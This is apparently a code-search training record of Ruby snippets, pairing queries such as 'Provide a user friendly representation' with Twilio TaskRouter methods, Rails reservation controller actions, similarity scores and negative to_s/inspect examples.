"def index\n @instances = Instance.page params[:page]\n authorize! :read, @instances\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instances }\n end\n end",
"def index\n @reservations = Reservation.all.where(user_id: current_user.id)\n end",
"def show\n @reservation = Reservation.new\n end",
"def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end",
"def fetch_reservations(property_id)\n fetcher = Commands::ReservationsFetcher.new(credentials)\n fetcher.call(property_id)\n end",
"def instance\n perform_request_with_object(:get, '/api/v1/instance', {}, Mastodon::Instance)\n end",
"def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.new\n end",
"def get_by_property\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"def get_instance instance_id\n execute do\n instances.get_instance(\n instance_path(instance_id)\n )\n end\n end",
"def instance\n perform_request_with_object(:get, '/api/v1/instance', {},\n Mastodon::Instance)\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def index\n @employee_reservations = Employee::Reservation.all\n end",
"def index\n @reservations = @bus.reservations\n end",
"def index\n @space_reservations = SpaceReservation.all\n end",
"def existing_reservations\n start_dt = self.start_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n end_dt = self.end_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n room_id = self.room.try(:id)\n results_size = (self.is_block?) ? 1000 : 1\n\n return [] if room_id.blank? || start_dt.blank? || end_dt.blank?\n block_query = [{ term: { is_block: false } }, { range: { end_dt: { gte: Time.zone.now.to_datetime.change(offset: \"+0000\") } } }]\n query =\n {\n query: {\n constant_score: {\n filter: {\n bool: {\n must: [\n { term: { room_id: room_id } },\n { term: { deleted: false }},\n { bool:\n {\n should: [\n {\n bool: {\n must: [\n { range: { start_dt: { gte: start_dt } } },\n { range: { start_dt: { lt: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { end_dt: { gt: start_dt } } },\n { range: { end_dt: { lte: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { start_dt: { lte: start_dt } } },\n { range: { end_dt: { gte: end_dt } } }\n ]\n }\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n size: results_size\n }\n query[:query][:constant_score][:filter][:bool][:must] += block_query if self.is_block?\n return Reservation.search(query).results\n end",
"def describe_instances\n return { reservations: [] } unless configured?\n\n @client.describe_instances.to_h\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reservation }\n end\n end",
"def show\n @reservation = Reservation.find(params[:id])\n render :show \n end",
"def preload\n today = Date.today\n reservations = @location.reservations\n .where(\n 'start_date >= ? ', today\n )\n .select('id, status, start_date')\n\n render json: reservations\n end",
"def page(authorization: :unset, segment_id: :unset, reservation_id: :unset, page_token: :unset, page_number: :unset, page_size: :unset)\n params = Twilio::Values.of({\n 'Authorization' => authorization,\n 'SegmentId' => segment_id,\n \n 'ReservationId' => Twilio.serialize_list(reservation_id) { |e| e },\n 'PageToken' => page_token,\n 'Page' => page_number,\n 'PageSize' => page_size,\n })\n\n response = @version.page('GET', @uri, params: params)\n\n InsightsSegmentsPage.new(@version, response, @solution)\n end",
"def index\n @reservations = Reservation.all\n #@reservations = current_user.reservations\n end",
"def list(reservation_status: :unset, limit: nil, page_size: nil)\n self.stream(\n reservation_status: reservation_status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @reservacions = Reservacion.all\n end",
"def index\n render json: reservations\n end",
"def show\n @reservation = current_user.reservations.find(params[:id])\n respond_with(@reservation)\n end",
"def get_resource_reservation_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_reservation_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/resource/Reservations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceReservationResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_reservation_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_reservation_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n #@reservations = Reservation.all\n @reservations = current_user.reservations #.order(\"created_at DESC\")\n #@eateries = Eatery.all.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n end",
"def show\n\t\t@reservations = Reservation.where(listing_id: @listing.id)\n\t\t# @listing = Listing.search(params[:search], params[:city])\n\n\tend",
"def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n @reservations = @reservations.order(\"id desc\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def index\n @reserves = Reserve.all\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n @reservation_statuses = @@reservation_statuses\n end",
"def index\n #@agenda_reserv_resources = Agenda::ReservResource.all\n @agenda_reserv_resources = Agenda::ReservResource.search(params[:search]).order(\"#{sort_column} #{sort_direction}\").paginate(per_page: 15, page: params[:page])\n end",
"def get_instance instance_id\n instances.get_instance name: instance_path(instance_id)\n end",
"def list(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @odsreserves = Odsreserf.all.page(params[:page])\n end",
"def show\n model = Reservation.find(params[:id])\n @reservation = ReservationDecorator.decorate(model)\n @conflicts = ReservationDecorator.decorate_collection(Reservation.conflicting(model))\n end",
"def describe_instances(parameters, secret)\n if @secret != secret\n return BAD_SECRET_RESPONSE\n end\n\n DESCRIBE_INSTANCES_REQUIRED_PARAMS.each { |required_param|\n if parameters[required_param].nil? or parameters[required_param].empty?\n return {\"success\" => false, \"reason\" => \"no #{required_param}\"}\n end\n }\n\n reservation_id = parameters[\"reservation_id\"]\n if @reservations[reservation_id].nil?\n return RESERVATION_NOT_FOUND_RESPONSE\n end\n\n return @reservations[reservation_id]\n end",
"def show\n @vehicle_reservation = VehicleReservationDecorator.decorate(VehicleReservation.find(params[:id]))\n end",
"def index\n @customer_reservations = CustomerReservation.all\n end",
"def stream(reservation_status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n reservation_status: reservation_status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def process_payment\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reserve_records = ReserveRecord.all\n end",
"def index\n @manifestation_reserve_stats = ManifestationReserveStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n reservation = Reservation.find(params[:id])\n render('show',:locals => {:reservation => reservation})\n end",
"def index\n @phone_reservations = PhoneReservation.all\n end",
"def show\n authorize! :show, @reservation\n @user = current_user\n @reservations = Reservation.select{|res| res.teacher_id == @user.id}\n end",
"def show\n @instance = Instance.find(params[:id])\n render :json =>@instance\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def index\n @reservas = Reserva.all\n end",
"def index\n @reservas = Reserva.all\n end",
"def index\n @demand_responses = DemandResponse.order(id: :desc).paginate(page: params[:page])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def call(params)\n payload = build_payload(params)\n result = http.post(endpoint(:property_booking), payload, content_type)\n\n if result.success?\n result_hash = response_parser.to_hash(result.value.body)\n\n if valid_result?(result_hash)\n reservation = SAW::Mappers::Reservation.build(params, result_hash)\n\n Result.new(reservation)\n else\n error_result(result_hash, result.value.body)\n end\n else\n result\n end\n end",
"def index\n @reservationcs = Reservationc.all\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reservation }\n end\n end"
] |
[
"0.71400803",
"0.64153403",
"0.6299721",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6146225",
"0.61417955",
"0.60943013",
"0.60760826",
"0.60638386",
"0.60638386",
"0.60638386",
"0.6054903",
"0.6038464",
"0.6017976",
"0.5945728",
"0.5935283",
"0.59029305",
"0.58973855",
"0.58818626",
"0.58743715",
"0.5855189",
"0.5848555",
"0.5833688",
"0.58191353",
"0.5784215",
"0.57755214",
"0.57627875",
"0.5762508",
"0.5762508",
"0.5760067",
"0.5757362",
"0.57459825",
"0.5735309",
"0.57267153",
"0.5723652",
"0.5720633",
"0.5707505",
"0.5683626",
"0.56805915",
"0.56805915",
"0.56805915",
"0.56805915",
"0.56805915",
"0.56805915",
"0.5642407",
"0.56399655",
"0.5627556",
"0.5623276",
"0.5600717",
"0.55884534",
"0.5585661",
"0.5585532",
"0.55807626",
"0.5562859",
"0.55594414",
"0.55478257",
"0.5541009",
"0.5512077",
"0.55101764",
"0.55101764",
"0.5469044",
"0.5465323",
"0.5459347",
"0.5458145",
"0.54568166",
"0.5445846",
"0.5432191",
"0.5431245",
"0.5418234",
"0.54137",
"0.5411505",
"0.53810585",
"0.53738993",
"0.5356362",
"0.53545845",
"0.53543043",
"0.5352844",
"0.5349785",
"0.5345702",
"0.5345702",
"0.5339633",
"0.53364605",
"0.53364605",
"0.53308064",
"0.5330721",
"0.53306025"
] |
0.574941
|
45
|
Provide a user friendly representation
|
def to_s
'#<Twilio.Taskrouter.V1.ReservationList>'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Provide a user friendly representation
|
def to_s
context = @solution.map{|k, v| "#{k}: #{v}"}.join(',')
"#<Twilio.Taskrouter.V1.ReservationContext #{context}>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Provide a detailed, user friendly representation
|
def inspect
context = @solution.map{|k, v| "#{k}: #{v}"}.join(',')
"#<Twilio.Taskrouter.V1.ReservationContext #{context}>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def details; end",
"def to_s; description end",
"def get_detail\n return self.inspect\n end",
"def to_display\n raise NotImplementedError\n end",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def inspect\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end",
"def render\n inspect\n end",
"def overview\n\n end",
"def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end",
"def render_plain\n short_category(object.action) << \"\\n\" << instance_attributes\n end",
"def details\n\n return @description + \": \" + \"#{@infection}\" + \". \" + @patient.details\n\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def to_s\n descr\n end",
"def details\r\n return @description + \"; \" + @vPatients + \"; \" + @vProfiles + \": \" + @vAppointments\r\n end",
"def display\n to_h.fetch(:display)\n end",
"def display\n to_h.fetch(:display)\n end",
"def inspect_details\n\t\treturn \"ID=%s (%s)\" % [\n\t\t\tself.id,\n\t\t\tself.components.keys.map( &:name ).sort.join( '+' )\n\t\t]\n\tend",
"def to_s\n\t\tres = \"\\nname: \" + name.to_s + \"\\nid: \" + id.to_s + \"\\nservice: \" + service.to_s + \"\\ntitle: \" + title.to_s + \"\\nthumbnail: \" + thumbnail.to_s + \"\\nhref: \" + href.to_s\n\t\tres\n\tend",
"def details\n\t\t\"#{name}---#{status}-----#{start_date}----#{description}---- #{Client.find(client_id).name}---#{Client.find(client_id).email}\"\n\tend",
"def show\n @title = @user.complete_name\n @description = \"Informations relatives à #{@user.complete_name}\"\n @jsonld = @user.to_jsonld\n end",
"def details\n end",
"def to_s\n \"#{represent_status} : #{description}\"\n end",
"def details\n format_description(@description) + \"site name: \" + format_name\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s_details\n ''\n end",
"def details\n\n end",
"def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
